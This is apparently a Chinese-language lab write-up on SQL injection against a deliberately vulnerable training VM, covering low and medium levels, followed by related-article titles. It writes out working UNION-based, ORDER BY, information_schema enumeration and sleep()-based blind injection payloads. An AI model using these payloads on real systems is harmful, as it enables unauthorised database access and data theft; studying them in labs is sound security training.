SQL Injection
环境
虚拟机 :VMFusion 11.5.0 专业版
使用VMFusion加载OAWAS靶机虚拟机文件。
low难度
判断是否存在注入点,主要分为显示(报错)注入和延时注入(盲注)。
输入参数1 ,页面正常有回显位,输入的内容在url中可见,说明是get类型传参,参数是id
查看闭合方式
1 and 1=2 不报错,正常显示,不是整型闭合。
1' and 1=2 报错 说明'语法错误
1' and 1=2 -- 页面不显示内容,但是没有法语错误。可以得到闭合方式为'
报错注入 页面返回错误信息
查看字段数
方法一:联合查询方式 select 使用数字代替字段循环判断直至不报错(mysql 5.0一下不支持)
1' union select 1 --
1' union select 1 ,2 --
方法二:使用order by 识别 与union相似
1' order by 3 --
1' order by 2 --
得到字段数为:2
查询库、表、字段相关信息。数据库版本version(),当前用户user() ,当前数据库database()
1' union select user(),concat(version(),' ',database())--
查询当前数据库的所有表;
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --
查询users表中的所有字段;
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --
medium
查看闭合方式
尝试单引号闭合
1' and 1=2 --
发现单引号被转义 ,整型闭合方式
知道了闭合方式后,其余步骤与low的一样。
盲注
在判断注入的时候加入and sleep(5) -- ' 语句
判断字段 select 叠加数字
1' union select 1 and sleep(5) -- ' 不显示网页加载状态
1' union select 1,2 and sleep(5) -- ' 显示网页加载状态 ,即可知道字段数为2个。
- SQL Injection: Modes of Attack, Defence, and Why It Matters
- PHP中的代码安全和SQL Injection防范
- SQL injection 1: 如何从数据库中获取想要获得的内容?
- XSS & SQL injection
- [转] Lateral SQL Injection:A New Class of Vulnerability in Oracle
- 微软发布3款SQL Injection攻击检测工具
- MySQL Blind Sql Injection
- SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具
- SQL Injection攻击技术总汇(ASP+SQL Server版)v1.0
- SQL语法用like %或in时Parameters要怎么用才能避免SQL Injection的问题
- 用PHP函数解决SQL injection
- sql injection
- SQL injection
- 国外一些 SQL Injection 扫描工具列表
- SQL Injection 字典 - MYSQL
- SQL injection
- 网络攻击技术开篇——SQL Injection
- phpcms /api/phpsso.php SQL Injection Vul
- DVWA-1.9全级别教程之SQL Injection(Blind)
- dvwa-sql injection(blind)